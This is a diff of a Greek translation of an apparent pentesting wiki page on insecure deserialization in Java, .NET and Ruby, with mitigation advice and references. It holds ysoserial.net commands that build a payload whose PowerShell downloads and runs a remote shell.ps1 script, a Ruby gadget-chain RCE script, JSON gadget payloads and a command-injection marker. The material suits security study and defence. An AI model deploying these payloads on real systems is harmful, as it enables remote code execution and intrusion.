[https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) -- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) +- Deserialization και ysoserial ομιλία: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) -- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) -- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) +- Ομιλία για gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) και διαφάνειες: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) +- Marshalsec έγγραφο: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Java και .Net JSON deserialization **έγγραφο:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## JNDI Injection & log4Shell @@ -657,7 +656,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### Προϊόντα -Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για να στείλουν μηνύματα: +Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για να στέλνουν μηνύματα: ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>) @@ -665,7 +664,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### Εκμετάλλευση -Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά δικαιώματα** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυμπιεστούν από τον καταναλωτή/συνδρομητή**.\ +Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά προνόμια** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυμπιεστούν από τον καταναλωτή/συνδρομητή**.\ Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι **πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**. Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυμπιέζει ανασφαλώς την είσοδο του χρήστη) πρέπει ακόμα να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια. @@ -676,8 +675,8 @@ jndi-java-naming-and-directory-interface-and-log4shell.md - [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) -- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) -- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) +- Ομιλία JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) +- Διαφάνειες: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net @@ -696,7 +695,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md #### BlackBox -Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυμπίεση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυμπιεστεί. Αυτό μπορεί να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές **JSON** ή **XML** που περιλαμβάνουν `TypeObject` ή `$type`. +Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυμπίεση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυμπιεστεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές **JSON** ή **XML** που περιλαμβάνουν `TypeObject` ή `$type`. ### ysoserial.net @@ -708,8 +707,8 @@ jndi-java-naming-and-directory-interface-and-log4shell.md - **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυμπίεση για να εκτελέσει εντολές). - **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυμπιέσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε) -- **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργεί πάντα)._ -- **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα frameworks** όπως το ViewState +- **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργήσει πάντα)._ +- **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα πλαίσια** όπως το ViewState #### Περισσότερες παράμετροι ysoserial.net @@ -735,7 +734,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. #Create exploit using the created B64 shellcode ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` -**ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσουμε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\ +**ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσετε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\ Αν δηλώσετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\ Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java @@ -763,36 +762,36 @@ return obj; } ``` Στον **προηγούμενο κώδικα υπάρχει ευπάθεια στην εκμετάλλευση που δημιουργήθηκε**. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανώς αυτή η εφαρμογή είναι επίσης ευάλωτη.\ -Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσειριοποίησης που μπορεί να δημιουργήσει το **ysoserial.net**. +Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσυμπίεσης που μπορεί να δημιουργήσει το **ysoserial.net**. ### ViewState -Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για να **εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.** +Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για **να εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.** ### Prevention -Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσειριοποίηση στο .Net: +Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσυμπίεση σε .Net: - **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν. - **Για το `JSON.Net`, ορίστε το `TypeNameHandling` σε `None`:** `TypeNameHandling = TypeNameHandling.None` - **Αποφύγετε τη χρήση του `JavaScriptSerializer` με έναν `JavaScriptTypeResolver`.** -- **Περιορίστε τους τύπους που μπορούν να αποσειριοποιηθούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας. +- **Περιορίστε τους τύπους που μπορούν να αποσυμπιεστούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας. - **Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες**, όπως το `System.ComponentModel.DataAnnotations.ValidationException` με την ιδιότητα `Value`, η οποία μπορεί να εκμεταλλευτεί. -- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσειριοποίησης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα. +- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσυμπίεσης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα. - **Εφαρμόστε ελέγχους λευκής λίστας** χρησιμοποιώντας έναν προσαρμοσμένο `SerializationBinder` για το `BinaryFormatter` και το `JSON.Net`. -- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή gadgets αποσειριοποίησης** εντός του .Net και διασφαλίστε ότι οι αποσειριοποιητές δεν δημιουργούν τέτοιους τύπους. -- **Απομονώστε τον δυνητικά επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών gadgets, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων. +- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή εργαλεία αποσυμπίεσης** εντός του .Net και διασφαλίστε ότι οι αποσυμπιεστές δεν δημιουργούν τέτοιους τύπους. +- **Απομονώστε τον ενδεχομένως επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών εργαλείων, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων. ### **References** -- Έγγραφο σχετικά με την αποσειριοποίηση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Έγγραφο σχετικά με την αποσυμπίεση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** -Στη Ruby, η αποσειριοποίηση διευκολύνεται από δύο μεθόδους μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποσειριοποίηση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσειριοποίηση. +Στη Ruby, η αποθήκευση είναι δυνατή μέσω δύο μεθόδων μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποθήκευση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσυμπίεση. Για την ασφάλεια των αποθηκευμένων αντικειμένων, **η Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code)**, διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες: @@ -801,7 +800,7 @@ return obj; - `config/secrets.yml` - `/proc/self/environ` -**Γενική αποσειριοποίηση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: +**Γενική αποσυμπίεση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: ```ruby #!/usr/bin/env ruby @@ -878,7 +877,7 @@ puts Base64.encode64(payload) Όπως εξηγείται σε [**αυτή την αναφορά ευπάθειας**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), αν κάποια μη φιλτραρισμένη είσοδος χρήστη φτάσει στη μέθοδο `.send()` ενός αντικειμένου ruby, αυτή η μέθοδος επιτρέπει να **καλέσετε οποιαδήποτε άλλη μέθοδο** του αντικειμένου με οποιαδήποτε παραμέτρους. -Για παράδειγμα, η κλήση eval και στη συνέχεια κώδικα ruby ως δεύτερη παράμετρος θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα: +Για παράδειγμα, η κλήση του eval και στη συνέχεια του κώδικα ruby ως δεύτερη παράμετρος θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα: ```ruby <Object>.send('eval', '<user input with Ruby code>') == RCE ``` @@ -917,7 +916,7 @@ candidate_methods.length() # Final number of methods=> 3595 ### Other libraries -Αυτή η τεχνική ελήφθη [**από αυτήν την ανάρτηση ιστολογίου**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Αυτή η τεχνική ελήφθη[ **από αυτήν την ανάρτηση ιστολογίου**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). Υπάρχουν άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για την σειριοποίηση αντικειμένων και επομένως θα μπορούσαν να καταχραστούν για να αποκτήσουν RCE κατά τη διάρκεια μιας ανασφαλούς αποσειριοποίησης. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλούν από τη φορτωμένη βιβλιοθήκη όποτε αποσειριοποιούνται (λειτουργία για κατάχρηση για να αποκτήσετε RCE βασικά): @@ -957,7 +956,7 @@ Oj.load(json_payload) "password": "anypw" } ``` -Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την εκμετάλλευση μιας άλλης συσκευής προκειμένου να μετατραπεί αυτό σε μια πλήρη RCE με κάτι σαν: +Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την κατάχρηση ενός άλλου gadget προκειμένου να μετατραπεί αυτό σε μια πλήρη RCE με κάτι σαν: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -983,13 +982,13 @@ Check for more details in the [**original post**](https://github.blog/security/v ### Bootstrap Caching -Όχι πραγματικά μια ευπάθεια αποσυμπίεσης αλλά ένα ωραίο κόλπο για να εκμεταλλευτείς την προσωρινή αποθήκευση bootstrap για να αποκτήσεις RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρες την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). +Όχι πραγματικά μια ευπάθεια αποσυμπίεσης αλλά ένα ωραίο κόλπο για να εκμεταλλευτείτε την προσωρινή μνήμη bootstrap για να αποκτήσετε RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρείτε την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). -Παρακάτω είναι μια σύντομη περίληψη των βημάτων που περιγράφονται στο άρθρο για την εκμετάλλευση μιας ευπάθειας τυχαίας εγγραφής αρχείου μέσω της εκμετάλλευσης της προσωρινής αποθήκευσης Bootsnap: +Παρακάτω είναι μια σύντομη περίληψη των βημάτων που περιγράφονται στο άρθρο για την εκμετάλλευση μιας ευπάθειας τυχαίας εγγραφής αρχείου μέσω της εκμετάλλευσης της προσωρινής μνήμης Bootsnap: - Identify the Vulnerability and Environment -Η λειτουργία μεταφόρτωσης αρχείων της εφαρμογής Rails επιτρέπει σε έναν επιτιθέμενο να γράφει αρχεία τυχαία. Αν και η εφαρμογή εκτελείται με περιορισμούς (μόνο ορισμένοι φάκελοι όπως το tmp είναι εγγράψιμοι λόγω του μη-ριζικού χρήστη του Docker), αυτό επιτρέπει ακόμα τη γραφή στον φάκελο προσωρινής αποθήκευσης Bootsnap (συνήθως κάτω από tmp/cache/bootsnap). +Η λειτουργία μεταφόρτωσης αρχείων της εφαρμογής Rails επιτρέπει σε έναν επιτιθέμενο να γράφει αρχεία τυχαία. Αν και η εφαρμογή εκτελείται με περιορισμούς (μόνο ορισμένοι φάκελοι όπως το tmp είναι εγγράψιμοι λόγω του μη-διαχειριστή χρήστη του Docker), αυτό επιτρέπει ακόμα τη γραφή στον φάκελο προσωρινής μνήμης Bootsnap (συνήθως κάτω από tmp/cache/bootsnap). - Understand Bootsnap’s Cache Mechanism @@ -1018,7 +1017,7 @@ Check for more details in the [**original post**](https://github.blog/security/v ### Ruby Marshal exploitation in practice (updated) -Θεωρήστε οποιαδήποτε διαδρομή όπου μη αξιόπιστα bytes φτάνουν στο `Marshal.load`/`marshal_load` ως RCE sink. Το Marshal ανακατασκευάζει τυχαία γραφήματα αντικειμένων και ενεργοποιεί callbacks βιβλιοθηκών/gem κατά τη διάρκεια της υλοποίησης. +Θεωρήστε οποιαδήποτε διαδρομή όπου μη αξιόπιστα bytes φτάνουν στο `Marshal.load`/`marshal_load` ως σημείο RCE. Το Marshal ανακατασκευάζει τυχαία γραφήματα αντικειμένων και ενεργοποιεί callbacks βιβλιοθηκών/gem κατά τη διάρκεια της υλοποίησης. - Minimal vulnerable Rails code path: ```ruby @@ -1035,7 +1034,7 @@ end end ``` - Κοινές κατηγορίες gadget που παρατηρούνται σε πραγματικές αλυσίδες: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. -- Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά τη διάρκεια της αποσυσκευασίας): +- Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά την αποσυσκευασία): ``` *-TmTT="$(id>/tmp/marshal-poc)"any.zip ``` @@ -1045,11 +1044,10 @@ Where it surfaces in real apps: - Οποιαδήποτε προσαρμοσμένη επιμονή ή μεταφορά δυαδικών αντικειμένων Industrialized gadget discovery: -- Grep για constructors, `hash`, `_load`, `init_with`, ή μεθόδους που προκαλούν παρενέργειες κατά τη διάρκεια του unmarshal -- Χρησιμοποιήστε τα unsafe deserialization queries του CodeQL για Ruby για να ανιχνεύσετε πηγές → sinks και να αναδείξετε gadgets +- Grep για constructors, `hash`, `_load`, `init_with`, ή side-effectful methods που καλούνται κατά τη διάρκεια του unmarshal +- Χρησιμοποιήστε τα Ruby unsafe deserialization queries του CodeQL για να ανιχνεύσετε πηγές → sinks και να αναδείξετε gadgets - Επικυρώστε με δημόσιες multi-format PoCs (JSON/XML/YAML/Marshal) - ## References - Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/ @@ -1061,7 +1059,7 @@ Industrialized gadget discovery: - GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/ - GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization - Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1 -- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html +- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3-4-deserialization.html - Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html - Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1 - Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444